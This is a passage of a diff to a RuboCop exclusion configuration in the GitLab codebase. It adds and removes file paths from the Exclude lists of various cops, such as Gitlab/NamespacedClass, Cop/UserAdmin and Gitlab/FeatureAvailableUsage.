+ - spec/requests/api/graphql/project/alert_management/alert/issue_spec.rb
+ - spec/requests/api/graphql/project/alert_management/alert_status_counts_spec.rb
+ - spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb
+ - spec/requests/api/graphql/project/error_tracking/sentry_errors_request_spec.rb
+ - spec/requests/api/graphql/project/issue/designs/designs_spec.rb
+ - spec/requests/api/graphql/project/project_pipeline_statistics_spec.rb
+ - spec/requests/api/graphql/project_query_spec.rb
+ - spec/requests/api/graphql/query_spec.rb
+ - spec/requests/api/graphql/user/starred_projects_query_spec.rb
+ - spec/requests/api/graphql/user_query_spec.rb
+ - spec/requests/api/graphql_spec.rb
+ - spec/requests/api/group_import_spec.rb
+ - spec/requests/api/group_milestones_spec.rb
+ - spec/requests/api/group_packages_spec.rb
+ - spec/requests/api/groups_spec.rb
+ - spec/requests/api/helpers_spec.rb
+ - spec/requests/api/import_bitbucket_server_spec.rb
+ - spec/requests/api/internal/base_spec.rb
+ - spec/requests/api/lint_spec.rb
+ - spec/requests/api/markdown_spec.rb
+ - spec/requests/api/merge_requests_spec.rb
+ - spec/requests/api/metrics/dashboard/annotations_spec.rb
+ - spec/requests/api/metrics/user_starred_dashboards_spec.rb
+ - spec/requests/api/nuget_project_packages_spec.rb
+ - spec/requests/api/project_clusters_spec.rb
+ - spec/requests/api/project_container_repositories_spec.rb
+ - spec/requests/api/project_milestones_spec.rb
+ - spec/requests/api/project_packages_spec.rb
+ - spec/requests/api/pypi_packages_spec.rb
+ - spec/requests/api/rubygem_packages_spec.rb
+ - spec/requests/api/unleash_spec.rb
+ - spec/requests/api/users_spec.rb
+ - spec/requests/groups/email_campaigns_controller_spec.rb
+ - spec/requests/import/gitlab_groups_controller_spec.rb
+ - spec/requests/jwt_controller_spec.rb
+ - spec/requests/lfs_http_spec.rb
+ - spec/requests/product_analytics/collector_app_spec.rb
+ - spec/requests/rack_attack_global_spec.rb
+ - spec/services/admin/propagate_service_template_spec.rb
+ - spec/services/alert_management/create_alert_issue_service_spec.rb
+ - spec/services/audit_event_service_spec.rb
+ - spec/services/auth/dependency_proxy_authentication_service_spec.rb
+ - spec/services/auto_merge_service_spec.rb
+ - spec/services/bulk_create_integration_service_spec.rb
+ - spec/services/ci/change_variable_service_spec.rb
+ - spec/services/ci/change_variables_service_spec.rb
+ - spec/services/ci/create_pipeline_service/cross_project_pipeline_spec.rb
+ - spec/services/ci/create_pipeline_service/custom_config_content_spec.rb
+ - spec/services/ci/create_pipeline_service/dry_run_spec.rb
+ - spec/services/ci/create_pipeline_service/environment_spec.rb
+ - spec/services/ci/create_pipeline_service/parameter_content_spec.rb
+ - spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb
+ - spec/services/ci/create_pipeline_service_spec.rb
+ - spec/services/ci/create_web_ide_terminal_service_spec.rb
+ - spec/services/ci/expire_pipeline_cache_service_spec.rb
+ - spec/services/ci/external_pull_requests/create_pipeline_service_spec.rb
+ - spec/services/ci/find_exposed_artifacts_service_spec.rb
+ - spec/services/ci/job_artifacts/create_service_spec.rb
+ - spec/services/ci/parse_dotenv_artifact_service_spec.rb
+ - spec/services/ci/pipeline_bridge_status_service_spec.rb
+ - spec/services/ci/pipeline_trigger_service_spec.rb
+ - spec/services/ci/prometheus_metrics/observe_histograms_service_spec.rb
+ - spec/services/ci/register_job_service_spec.rb
+ - spec/services/ci/resource_groups/assign_resource_from_resource_group_service_spec.rb
+ - spec/services/ci/retry_build_service_spec.rb
+ - spec/services/ci/stop_environments_service_spec.rb
+ - spec/services/clusters/applications/prometheus_health_check_service_spec.rb
+ - spec/services/container_expiration_policy_service_spec.rb
+ - spec/services/dependency_proxy/find_or_create_manifest_service_spec.rb
+ - spec/services/discussions/resolve_service_spec.rb
+ - spec/services/discussions/unresolve_service_spec.rb
+ - spec/services/feature_flags/create_service_spec.rb
+ - spec/services/feature_flags/destroy_service_spec.rb
+ - spec/services/feature_flags/disable_service_spec.rb
+ - spec/services/feature_flags/enable_service_spec.rb
+ - spec/services/feature_flags/update_service_spec.rb
+ - spec/services/git/branch_push_service_spec.rb
+ - spec/services/import/bitbucket_server_service_spec.rb
+ - spec/services/incident_management/incidents/create_service_spec.rb
+ - spec/services/incident_management/pager_duty/create_incident_issue_service_spec.rb
+ - spec/services/incident_management/pager_duty/process_webhook_service_spec.rb
+ - spec/services/integrations/test/project_service_spec.rb
+ - spec/services/issuable/bulk_update_service_spec.rb
+ - spec/services/jira_connect/sync_service_spec.rb
+ - spec/services/jira_import/start_import_service_spec.rb
+ - spec/services/jira_import/users_importer_spec.rb
+ - spec/services/markdown_content_rewriter_service_spec.rb
+ - spec/services/members/create_service_spec.rb
+ - spec/services/members/invite_service_spec.rb
+ - spec/services/metrics/dashboard/annotations/create_service_spec.rb
+ - spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb
+ - spec/services/metrics/users_starred_dashboards/create_service_spec.rb
+ - spec/services/notes/copy_service_spec.rb
+ - spec/services/notes/create_service_spec.rb
+ - spec/services/notes/destroy_service_spec.rb
+ - spec/services/notes/quick_actions_service_spec.rb
+ - spec/services/notes/update_service_spec.rb
+ - spec/services/notification_service_spec.rb
+ - spec/services/packages/composer/create_package_service_spec.rb
+ - spec/services/packages/conan/search_service_spec.rb
+ - spec/services/packages/create_package_file_service_spec.rb
+ - spec/services/packages/debian/find_or_create_package_service_spec.rb
+ - spec/services/packages/generic/create_package_file_service_spec.rb
+ - spec/services/packages/maven/find_or_create_package_service_spec.rb
+ - spec/services/packages/nuget/search_service_spec.rb
+ - spec/services/packages/rubygems/dependency_resolver_service_spec.rb
+ - spec/services/pod_logs/base_service_spec.rb
+ - spec/services/pod_logs/elasticsearch_service_spec.rb
+ - spec/services/pod_logs/kubernetes_service_spec.rb
+ - spec/services/projects/alerting/notify_service_spec.rb
+ - spec/services/projects/create_service_spec.rb
+ - spec/services/projects/destroy_rollback_service_spec.rb
+ - spec/services/projects/destroy_service_spec.rb
+ - spec/services/projects/gitlab_projects_import_service_spec.rb
+ - spec/services/projects/group_links/create_service_spec.rb
+ - spec/services/projects/group_links/destroy_service_spec.rb
+ - spec/services/projects/group_links/update_service_spec.rb
+ - spec/services/projects/prometheus/alerts/notify_service_spec.rb
+ - spec/services/projects/transfer_service_spec.rb
+ - spec/services/projects/update_pages_service_spec.rb
+ - spec/services/prometheus/create_default_alerts_service_spec.rb
+ - spec/services/quick_actions/interpret_service_spec.rb
+ - spec/services/releases/create_evidence_service_spec.rb
+ - spec/services/repositories/destroy_rollback_service_spec.rb
+ - spec/services/repositories/destroy_service_spec.rb
+ - spec/services/repositories/shell_destroy_service_spec.rb
+ - spec/services/resource_access_tokens/create_service_spec.rb
+ - spec/services/resource_access_tokens/revoke_service_spec.rb
+ - spec/services/resource_events/change_labels_service_spec.rb
+ - spec/services/resource_events/merge_into_notes_service_spec.rb
+ - spec/services/security/ci_configuration/sast_create_service_spec.rb
+ - spec/services/snippets/bulk_destroy_service_spec.rb
+ - spec/services/snippets/create_service_spec.rb
+ - spec/services/snippets/update_service_spec.rb
+ - spec/services/spam/ham_service_spec.rb
+ - spec/services/spam/spam_action_service_spec.rb
+ - spec/services/spam/spam_verdict_service_spec.rb
+ - spec/services/system_note_service_spec.rb
+ - spec/services/system_notes/issuables_service_spec.rb
+ - spec/services/test_hooks/project_service_spec.rb
+ - spec/services/test_hooks/system_service_spec.rb
+ - spec/services/users/approve_service_spec.rb
+ - spec/services/users/reject_service_spec.rb
+ - spec/services/users/validate_otp_service_spec.rb
+ - spec/services/wiki_pages/event_create_service_spec.rb
+ - spec/support/shared_examples/graphql/design_fields_shared_examples.rb
+ - spec/support/shared_examples/graphql/mutations/set_assignees_shared_examples.rb
+ - spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
+ - spec/support/shared_examples/quick_actions/issuable/issuable_quick_actions_shared_examples.rb
+ - spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb
+ - spec/support/shared_examples/services/packages_shared_examples.rb
+ - spec/tasks/gitlab/db_rake_spec.rb
+ - spec/tasks/gitlab/packages/composer_rake_spec.rb
+ - spec/tasks/gitlab/snippets_rake_spec.rb
+ - spec/uploaders/content_type_whitelist_spec.rb
+ - spec/uploaders/dependency_proxy/file_uploader_spec.rb
+ - spec/views/admin/application_settings/_eks.html.haml_spec.rb
+ - spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
+ - spec/views/layouts/nav/sidebar/_project_security_link.html.haml_spec.rb
+ - spec/views/projects/pipelines/new.html.haml_spec.rb
+ - spec/views/projects/pipelines/show.html.haml_spec.rb
+ - spec/views/search/_results.html.haml_spec.rb
+ - spec/views/shared/_label_row.html.haml_spec.rb
+ - spec/views/shared/milestones/_top.html.haml_spec.rb
+ - spec/workers/ci/create_cross_project_pipeline_worker_spec.rb
+ - spec/workers/cluster_update_app_worker_spec.rb
+ - spec/workers/environments/canary_ingress/update_worker_spec.rb
+ - spec/workers/expire_job_cache_worker_spec.rb
+ - spec/workers/gitlab/jira_import/import_issue_worker_spec.rb
+ - spec/workers/gitlab/jira_import/stage/start_import_worker_spec.rb
+ - spec/workers/gitlab/jira_import/stuck_jira_import_jobs_worker_spec.rb
+ - spec/workers/import_issues_csv_worker_spec.rb
+ - spec/workers/incident_management/add_severity_system_note_worker_spec.rb
+ - spec/workers/incident_management/process_alert_worker_spec.rb
+ - spec/workers/incident_management/process_prometheus_alert_worker_spec.rb
+ - spec/workers/jira_connect/sync_project_worker_spec.rb
+ - spec/workers/namespaces/onboarding_issue_created_worker_spec.rb
+ - spec/workers/packages/composer/cache_update_worker_spec.rb
+ - spec/workers/pages_domain_ssl_renewal_cron_worker_spec.rb
+ - spec/workers/projects/git_garbage_collect_worker_spec.rb
+ - spec/workers/prometheus/create_default_alerts_worker_spec.rb
+ - spec/workers/propagate_integration_group_worker_spec.rb
+ - spec/workers/propagate_integration_project_worker_spec.rb
+ - spec/workers/run_pipeline_schedule_worker_spec.rb
+ - spec/workers/update_external_pull_requests_worker_spec.rb
+
RSpec/TimecopFreeze:
Exclude:
- 'ee/spec/controllers/admin/application_settings_controller_spec.rb'
@@ -756,7 +1201,6 @@ RSpec/AnyInstanceOf:
- 'ee/spec/migrations/update_vulnerability_severity_column_spec.rb'
- 'ee/spec/models/ee/namespace_spec.rb'
- 'ee/spec/models/geo_node_status_spec.rb'
- - 'ee/spec/models/group_spec.rb'
- 'ee/spec/models/issue_spec.rb'
- 'ee/spec/models/merge_request_spec.rb'
- 'ee/spec/models/project_import_state_spec.rb'
@@ -892,8 +1336,8 @@ RSpec/AnyInstanceOf:
- 'spec/lib/backup/files_spec.rb'
- 'spec/lib/backup/manager_spec.rb'
- 'spec/lib/banzai/commit_renderer_spec.rb'
- - 'spec/lib/banzai/filter/external_issue_reference_filter_spec.rb'
- - 'spec/lib/banzai/filter/issue_reference_filter_spec.rb'
+ - 'spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb'
+ - 'spec/lib/banzai/filter/references/issue_reference_filter_spec.rb'
- 'spec/lib/banzai/filter/repository_link_filter_spec.rb'
- 'spec/lib/banzai/pipeline/gfm_pipeline_spec.rb'
- 'spec/lib/extracts_ref_spec.rb'
@@ -1249,6 +1693,7 @@ Gitlab/NamespacedClass:
- 'app/finders/deployments_finder.rb'
- 'app/finders/environment_names_finder.rb'
- 'app/finders/environments_finder.rb'
+ - 'app/finders/environments_by_deployments_finder.rb'
- 'app/finders/events_finder.rb'
- 'app/finders/feature_flags_finder.rb'
- 'app/finders/feature_flags_user_lists_finder.rb'
@@ -1320,7 +1765,6 @@ Gitlab/NamespacedClass:
- 'app/models/application_setting/term.rb'
- 'app/models/approval.rb'
- 'app/models/audit_event.rb'
- - 'app/models/audit_event_archived.rb'
- 'app/models/authentication_event.rb'
- 'app/models/award_emoji.rb'
- 'app/models/badge.rb'
@@ -1673,6 +2117,7 @@ Gitlab/NamespacedClass:
- 'app/policies/service_policy.rb'
- 'app/policies/suggestion_policy.rb'
- 'app/policies/timebox_policy.rb'
+ - 'app/policies/timelog_policy.rb'
- 'app/policies/todo_policy.rb'
- 'app/policies/user_policy.rb'
- 'app/policies/wiki_page_policy.rb'
@@ -2275,7 +2720,6 @@ Gitlab/NamespacedClass:
- 'ee/app/policies/iteration_policy.rb'
- 'ee/app/policies/push_rule_policy.rb'
- 'ee/app/policies/saml_provider_policy.rb'
- - 'ee/app/policies/timelog_policy.rb'
- 'ee/app/policies/vulnerability_policy.rb'
- 'ee/app/presenters/approval_rule_presenter.rb'
- 'ee/app/presenters/audit_event_presenter.rb'
@@ -2451,59 +2895,404 @@ Gitlab/NamespacedClass:
- 'spec/tasks/gitlab/task_helpers_spec.rb'
- 'spec/uploaders/object_storage_spec.rb'
-# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/322739
-Style/HashTransformation:
+Style/ClassEqualityComparison:
Exclude:
- - 'app/controllers/projects/branches_controller.rb'
- - 'app/finders/ci/commit_statuses_finder.rb'
- - 'app/helpers/learn_gitlab_helper.rb'
- - 'app/models/ci/build_trace_chunk.rb'
- - 'app/models/concerns/cache_markdown_field.rb'
- - 'app/models/gpg_key.rb'
- - 'app/presenters/packages/npm/package_presenter.rb'
- - 'app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb'
- - 'app/services/ci/retry_build_service.rb'
- - 'app/services/packages/nuget/create_dependency_service.rb'
+ - spec/lib/peek/views/active_record_spec.rb
+ - ee/spec/lib/peek/views/active_record_spec.rb
+
+# WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/207950
+Cop/UserAdmin:
+ Exclude:
+ - 'app/controllers/admin/impersonations_controller.rb'
+ - 'app/controllers/concerns/spammable_actions.rb'
+ - 'app/controllers/sessions_controller.rb'
+ - 'app/finders/autocomplete/routes_finder.rb'
+ - 'app/finders/ci/jobs_finder.rb'
+ - 'app/finders/ci/runners_finder.rb'
+ - 'app/finders/personal_access_tokens_finder.rb'
+ - 'app/finders/users_finder.rb'
+ - 'app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb'
+ - 'app/graphql/resolvers/admin/analytics/usage_trends/measurements_resolver.rb'
+ - 'app/helpers/application_helper.rb'
+ - 'app/helpers/import_helper.rb'
+ - 'app/helpers/nav_helper.rb'
+ - 'app/helpers/projects_helper.rb'
+ - 'app/helpers/search_helper.rb'
+ - 'app/helpers/user_callouts_helper.rb'
+ - 'app/helpers/users_helper.rb'
+ - 'app/helpers/visibility_level_helper.rb'
+ - 'app/models/concerns/protected_ref_access.rb'
+ - 'app/models/concerns/spammable.rb'
+ - 'app/models/issue_collection.rb'
+ - 'app/models/merge_requests_closing_issues.rb'
+ - 'app/models/protected_branch.rb'
+ - 'app/models/user.rb'
+ - 'app/policies/note_policy.rb'
+ - 'app/serializers/deploy_key_entity.rb'
+ - 'app/services/auth/container_registry_authentication_service.rb'
+ - 'app/services/emails/create_service.rb'
+ - 'app/services/projects/enable_deploy_key_service.rb'
+ - 'app/services/projects/fork_service.rb'
+ - 'app/services/users/build_service.rb'
+ - 'ee/app/controllers/ee/projects_controller.rb'
+ - 'ee/app/graphql/mutations/admin/analytics/devops_adoption/segments/mixins.rb'
+ - 'ee/app/graphql/resolvers/admin/analytics/devops_adoption/segments_resolver.rb'
+ - 'ee/app/helpers/ee/dashboard_helper.rb'
+ - 'ee/app/helpers/ee/import_helper.rb'
+ - 'ee/app/helpers/ee/subscribable_banner_helper.rb'
+ - 'ee/app/helpers/ee/user_callouts_helper.rb'
+ - 'ee/app/helpers/license_monitoring_helper.rb'
+ - 'ee/app/helpers/push_rules_helper.rb'
+ - 'ee/app/models/concerns/ee/protected_ref_access.rb'
+ - 'ee/app/models/ee/user.rb'
+ - 'ee/app/models/protected_environment/deploy_access_level.rb'
+ - 'ee/app/policies/ee/group_policy.rb'
+ - 'ee/app/policies/ee/project_policy.rb'
+ - 'ee/app/services/ee/groups/create_service.rb'
+ - 'ee/app/services/ee/groups/update_service.rb'
+ - 'ee/app/services/ee/projects/update_service.rb'
+ - 'ee/lib/ee/api/helpers.rb'
+ - 'ee/lib/ee/gitlab/git_access.rb'
+ - 'lib/api/award_emoji.rb'
+ - 'lib/api/ci/runners.rb'
+ - 'lib/api/entities/runner_details.rb'
+ - 'lib/api/entities/user_safe.rb'
+ - 'lib/api/groups.rb'
+ - 'lib/api/helpers.rb'
+ - 'lib/api/personal_access_tokens.rb'
+ - 'lib/api/users.rb'
+ - 'lib/api/v3/github.rb'
+ - 'lib/constraints/admin_constrainer.rb'
+ - 'lib/gitlab/auth.rb'
+ - 'lib/gitlab/background_migration/user_mentions/models/group.rb'
+ - 'lib/gitlab/ci/runner_instructions.rb'
+ - 'lib/gitlab/import_export/members_mapper.rb'
+ - 'lib/gitlab/performance_bar.rb'
+ - 'lib/gitlab/visibility_level.rb'
+ - 'qa/qa/runtime/api/client.rb'
+
+# WIP https://gitlab.com/gitlab-org/gitlab/-/issues/325744
+Performance/OpenStruct:
+ Exclude:
+ - 'Guardfile'
+ - 'app/finders/snippets_finder.rb'
+ - 'app/helpers/application_settings_helper.rb'
+ - 'app/models/cycle_analytics/project_level_stage_adapter.rb'
+ - 'ee/lib/gitlab/graphql/aggregations/epics/epic_node.rb'
+ - 'ee/lib/gitlab/graphql/aggregations/epics/epic_node.rb'
+ - 'lib/api/wikis.rb'
+ - 'lib/gitlab/ci/ansi2html.rb'
+ - 'lib/gitlab/ci/reports/test_suite_comparer.rb'
+ - 'lib/gitlab/git/diff_collection.rb'
+ - 'lib/gitlab/import_export/after_export_strategies/base_after_export_strategy.rb'
+ - 'lib/gitlab/testing/request_inspector_middleware.rb'
+ - 'lib/mattermost/session.rb'
+
+# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/324629
+Gitlab/DelegatePredicateMethods:
+ Exclude:
+ - 'app/models/clusters/cluster.rb'
+ - 'app/models/clusters/platforms/kubernetes.rb'
+ - 'app/models/concerns/ci/metadatable.rb'
+ - 'app/models/concerns/diff_positionable_note.rb'
+ - 'app/models/concerns/resolvable_discussion.rb'
+ - 'app/models/concerns/services/data_fields.rb'
+ - 'app/models/project.rb'
+ - 'ee/app/models/concerns/ee/ci/metadatable.rb'
+ - 'ee/app/models/ee/group.rb'
+ - 'ee/app/models/ee/namespace.rb'
+ - 'ee/app/models/license.rb'
+ - 'lib/gitlab/ci/trace/stream.rb'
+
+# Offense count: 298
+Gitlab/FeatureAvailableUsage:
+ Exclude:
+ - 'app/controllers/projects/application_controller.rb'
+ - 'app/graphql/types/project_type.rb'
+ - 'app/helpers/events_helper.rb'
+ - 'app/helpers/labels_helper.rb'
+ - 'app/policies/project_policy.rb'
+ - 'app/views/groups/issues.html.haml'
+ - 'app/views/groups/merge_requests.html.haml'
+ - 'app/views/shared/boards/_switcher.html.haml'
+ - 'ee/app/controllers/concerns/description_diff_actions.rb'
+ - 'ee/app/controllers/concerns/ee/boards_actions.rb'
+ - 'ee/app/controllers/concerns/security_dashboards_permissions.rb'
+ - 'ee/app/controllers/ee/boards/lists_controller.rb'
+ - 'ee/app/controllers/ee/groups/application_controller.rb'
+ - 'ee/app/controllers/ee/groups/group_members_controller.rb'
+ - 'ee/app/controllers/ee/projects/autocomplete_sources_controller.rb'
+ - 'ee/app/controllers/ee/projects/issues_controller.rb'
+ - 'ee/app/controllers/ee/projects/security/configuration_controller.rb'
+ - 'ee/app/controllers/ee/projects/settings/ci_cd_controller.rb'
+ - 'ee/app/controllers/ee/projects/settings/operations_controller.rb'
+ - 'ee/app/controllers/ee/projects/settings/repository_controller.rb'
+ - 'ee/app/controllers/groups/analytics/application_controller.rb'
+ - 'ee/app/controllers/groups/audit_events_controller.rb'
+ - 'ee/app/controllers/groups/bulk_update_controller.rb'
+ - 'ee/app/controllers/groups/contribution_analytics_controller.rb'
+ - 'ee/app/controllers/groups/epics_controller.rb'
+ - 'ee/app/controllers/groups/hooks_controller.rb'
+ - 'ee/app/controllers/groups/issues_analytics_controller.rb'
+ - 'ee/app/controllers/groups/iterations_controller.rb'
+ - 'ee/app/controllers/projects/analytics/issues_analytics_controller.rb'
+ - 'ee/app/controllers/projects/audit_events_controller.rb'
+ - 'ee/app/controllers/projects/cluster_agents_controller.rb'
+ - 'ee/app/controllers/projects/iterations/inherited_controller.rb'
+ - 'ee/app/controllers/projects/iterations_controller.rb'
+ - 'ee/app/controllers/projects/path_locks_controller.rb'
+ - 'ee/app/controllers/projects/subscriptions_controller.rb'
+ - 'ee/app/finders/autocomplete/vulnerabilities_autocomplete_finder.rb'
+ - 'ee/app/finders/clusters/agents_finder.rb'
+ - 'ee/app/finders/ee/alert_management/alerts_finder.rb'
+ - 'ee/app/finders/ee/alert_management/http_integrations_finder.rb'
+ - 'ee/app/finders/ee/group_projects_finder.rb'
+ - 'ee/app/graphql/ee/types/group_type.rb'
+ - 'ee/app/graphql/mutations/dast/profiles/create.rb'
+ - 'ee/app/graphql/mutations/dast/profiles/run.rb'
+ - 'ee/app/graphql/mutations/dast/profiles/update.rb'
+ - 'ee/app/graphql/mutations/instance_security_dashboard/remove_project.rb'
+ - 'ee/app/graphql/resolvers/boards/epic_boards_resolver.rb'
+ - 'ee/app/graphql/resolvers/clusters/agent_tokens_resolver.rb'
+ - 'ee/app/graphql/resolvers/epics_resolver.rb'
+ - 'ee/app/helpers/ee/analytics/navbar_helper.rb'
+ - 'ee/app/helpers/ee/application_helper.rb'
+ - 'ee/app/helpers/ee/boards_helper.rb'
+ - 'ee/app/helpers/ee/clusters_helper.rb'
+ - 'ee/app/helpers/ee/dashboard_helper.rb'
+ - 'ee/app/helpers/ee/form_helper.rb'
+ - 'ee/app/helpers/ee/graph_helper.rb'
+ - 'ee/app/helpers/ee/groups_helper.rb'
+ - 'ee/app/helpers/ee/issues_helper.rb'
+ - 'ee/app/helpers/ee/lock_helper.rb'
+ - 'ee/app/helpers/ee/operations_helper.rb'
+ - 'ee/app/helpers/ee/projects/incidents_helper.rb'
+ - 'ee/app/helpers/ee/projects_helper.rb'
+ - 'ee/app/helpers/ee/releases_helper.rb'
+ - 'ee/app/helpers/ee/search_helper.rb'
+ - 'ee/app/helpers/ee/tree_helper.rb'
+ - 'ee/app/helpers/groups/security_features_helper.rb'
+ - 'ee/app/models/approval_state.rb'
+ - 'ee/app/models/concerns/approvable.rb'
+ - 'ee/app/models/concerns/ee/project_security_scanners_information.rb'
+ - 'ee/app/models/concerns/ee/protected_ref_access.rb'
+ - 'ee/app/models/concerns/has_timelogs_report.rb'
+ - 'ee/app/models/concerns/insights_feature.rb'
+ - 'ee/app/models/ee/board.rb'
- 'ee/app/models/ee/ci/build.rb'
- - 'ee/app/models/productivity_analytics.rb'
- - 'ee/app/models/sca/license_compliance.rb'
- - 'ee/app/services/security/store_report_service.rb'
- - 'ee/lib/ee/gitlab/auth/ldap/sync/group.rb'
- - 'ee/lib/ee/gitlab/usage_data.rb'
- - 'ee/lib/gitlab/custom_file_templates.rb'
- - 'ee/spec/elastic_integration/global_search_spec.rb'
- - 'ee/spec/lib/ee/gitlab/application_context_spec.rb'
- - 'lib/api/helpers/packages/conan/api_helpers.rb'
- - 'lib/api/projects.rb'
- - 'lib/atlassian/jira_connect/client.rb'
- - 'lib/banzai/filter/repository_link_filter.rb'
- - 'lib/gitlab/ci/config/entry/product/variables.rb'
- - 'lib/gitlab/ci/config/entry/variables.rb'
- - 'lib/gitlab/ci/variables/collection.rb'
- - 'lib/gitlab/ci/variables/helpers.rb'
- - 'lib/gitlab/git/commit.rb'
- - 'lib/gitlab/import_sources.rb'
- - 'lib/gitlab/language_detection.rb'
- - 'lib/gitlab/metrics/samplers/database_sampler.rb'
- - 'lib/gitlab/metrics/subscribers/active_record.rb'
- - 'lib/gitlab/phabricator_import/project_creator.rb'
- - 'lib/gitlab/prometheus_client.rb'
- - 'lib/gitlab/repository_hash_cache.rb'
- - 'lib/gitlab/static_site_editor/config/file_config.rb'
- - 'lib/gitlab/template/base_template.rb'
- - 'lib/gitlab/usage_data_counters/base_counter.rb'
- - 'lib/gitlab/usage_data_counters/note_counter.rb'
- - 'spec/lib/atlassian/jira_connect/serializers/pull_request_entity_spec.rb'
- - 'spec/lib/gitlab/ci/status/composite_spec.rb'
- - 'spec/lib/gitlab/conflict/file_spec.rb'
- - 'spec/lib/gitlab/import_export/project/tree_restorer_spec.rb'
+ - 'ee/app/models/ee/ci/build_dependencies.rb'
+ - 'ee/app/models/ee/ci/pipeline.rb'
+ - 'ee/app/models/ee/group.rb'
+ - 'ee/app/models/ee/group_member.rb'
+ - 'ee/app/models/ee/issue.rb'
+ - 'ee/app/models/ee/list.rb'
+ - 'ee/app/models/ee/merge_request.rb'
+ - 'ee/app/models/ee/milestone_release.rb'
+ - 'ee/app/models/ee/namespace.rb'
+ - 'ee/app/models/ee/namespace_setting.rb'
+ - 'ee/app/models/ee/project.rb'
+ - 'ee/app/models/ee/project_ci_cd_setting.rb'
+ - 'ee/app/models/namespace_statistics.rb'
+ - 'ee/app/models/project_security_setting.rb'
+ - 'ee/app/models/saml_provider.rb'
+ - 'ee/app/policies/compliance_management/framework_policy.rb'
+ - 'ee/app/policies/compliance_management/framework_policy.rb'
+ - 'ee/app/policies/ee/group_policy.rb'
+ - 'ee/app/policies/ee/namespace_policy.rb'
+ - 'ee/app/policies/ee/project_policy.rb'
+ - 'ee/app/policies/ee/protected_branch_policy.rb'
+ - 'ee/app/presenters/ee/label_presenter.rb'
+ - 'ee/app/presenters/epic_presenter.rb'
+ - 'ee/app/presenters/merge_request_approver_presenter.rb'
+ - 'ee/app/serializers/dashboard_operations_project_entity.rb'
+ - 'ee/app/serializers/ee/environment_entity.rb'
+ - 'ee/app/serializers/ee/evidences/release_entity.rb'
+ - 'ee/app/serializers/ee/note_entity.rb'
+ - 'ee/app/services/boards/epic_boards/update_service.rb'
+ - 'ee/app/services/ci/audit_variable_change_service.rb'
+ - 'ee/app/services/clusters/agent_tokens/create_service.rb'
+ - 'ee/app/services/clusters/agents/create_service.rb'
+ - 'ee/app/services/dashboard/projects/create_service.rb'
+ - 'ee/app/services/dashboard/projects/list_service.rb'
+ - 'ee/app/services/dast/profiles/create_service.rb'
+ - 'ee/app/services/dast/profiles/update_service.rb'
+ - 'ee/app/services/dast_on_demand_scans/create_service.rb'
+ - 'ee/app/services/dast_site_tokens/create_service.rb'
+ - 'ee/app/services/dast_site_validations/create_service.rb'
+ - 'ee/app/services/dast_site_validations/revoke_service.rb'
+ - 'ee/app/services/dast_site_validations/validate_service.rb'
+ - 'ee/app/services/ee/alert_management/http_integrations/create_service.rb'
+ - 'ee/app/services/ee/audit_event_service.rb'
+ - 'ee/app/services/ee/boards/issues/list_service.rb'
+ - 'ee/app/services/ee/boards/lists/create_service.rb'
+ - 'ee/app/services/ee/boards/update_service.rb'
+ - 'ee/app/services/ee/groups/create_service.rb'
+ - 'ee/app/services/ee/ide/schemas_config_service.rb'
+ - 'ee/app/services/ee/issuable_base_service.rb'
+ - 'ee/app/services/ee/issue_links/create_service.rb'
+ - 'ee/app/services/ee/issues/build_service.rb'
+ - 'ee/app/services/ee/lfs/lock_file_service.rb'
+ - 'ee/app/services/ee/lfs/unlock_file_service.rb'
+ - 'ee/app/services/ee/merge_requests/approval_service.rb'
+ - 'ee/app/services/ee/merge_requests/build_service.rb'
+ - 'ee/app/services/ee/merge_requests/merge_base_service.rb'
+ - 'ee/app/services/ee/merge_requests/refresh_service.rb'
+ - 'ee/app/services/ee/merge_requests/update_service.rb'
+ - 'ee/app/services/ee/projects/create_service.rb'
+ - 'ee/app/services/ee/protected_branches/create_service.rb'
+ - 'ee/app/services/ee/releases/create_evidence_service.rb'
+ - 'ee/app/services/ee/search/group_service.rb'
+ - 'ee/app/services/iterations/cadences/create_service.rb'
+ - 'ee/app/services/iterations/cadences/update_service.rb'
+ - 'ee/app/services/iterations/create_service.rb'
+ - 'ee/app/services/iterations/update_service.rb'
+ - 'ee/app/services/merge_requests/sync_report_approver_approval_rules.rb'
+ - 'ee/app/services/merge_requests/update_blocks_service.rb'
+ - 'ee/app/services/projects/mark_for_deletion_service.rb'
+ - 'ee/app/services/quality_management/test_cases/create_service.rb'
+ - 'ee/app/services/requirements_management/process_test_reports_service.rb'
+ - 'ee/app/services/security/store_scans_service.rb'
+ - 'ee/app/views/groups/_templates_setting.html.haml'
+ - 'ee/app/views/groups/contribution_analytics/show.html.haml'
+ - 'ee/app/views/groups/ee/_settings_nav.html.haml'
+ - 'ee/app/views/groups/epics/index.html.haml'
+ - 'ee/app/views/groups/epics/show.html.haml'
+ - 'ee/app/views/groups/epics/show.html.haml'
+ - 'ee/app/views/groups/hooks/index.html.haml'
+ - 'ee/app/views/groups/roadmap/show.html.haml'
+ - 'ee/app/views/groups/settings/_allowed_email_domain.html.haml'
+ - 'ee/app/views/groups/settings/_ip_restriction.html.haml'
+ - 'ee/app/views/layouts/nav/_test_cases_link.html.haml'
+ - 'ee/app/views/layouts/nav/sidebar/_project_iterations_link.html.haml'
+ - 'ee/app/views/projects/_merge_request_approvals_settings.html.haml'
+ - 'ee/app/views/projects/_merge_request_settings.html.haml'
+ - 'ee/app/views/projects/_merge_request_settings_description_text.html.haml'
+ - 'ee/app/views/projects/audit_events/index.html.haml'
+ - 'ee/app/views/projects/blob/_header_file_locks.html.haml'
+ - 'ee/app/views/projects/issues/_related_issues.html.haml'
+ - 'ee/app/views/projects/merge_requests/show.html.haml'
+ - 'ee/app/views/projects/merge_requests/show.html.haml'
+ - 'ee/app/views/projects/merge_requests/show.html.haml'
+ - 'ee/app/views/projects/merge_requests/show.html.haml'
+ - 'ee/app/views/projects/merge_requests/show.html.haml'
+ - 'ee/app/views/projects/merge_requests/show.html.haml'
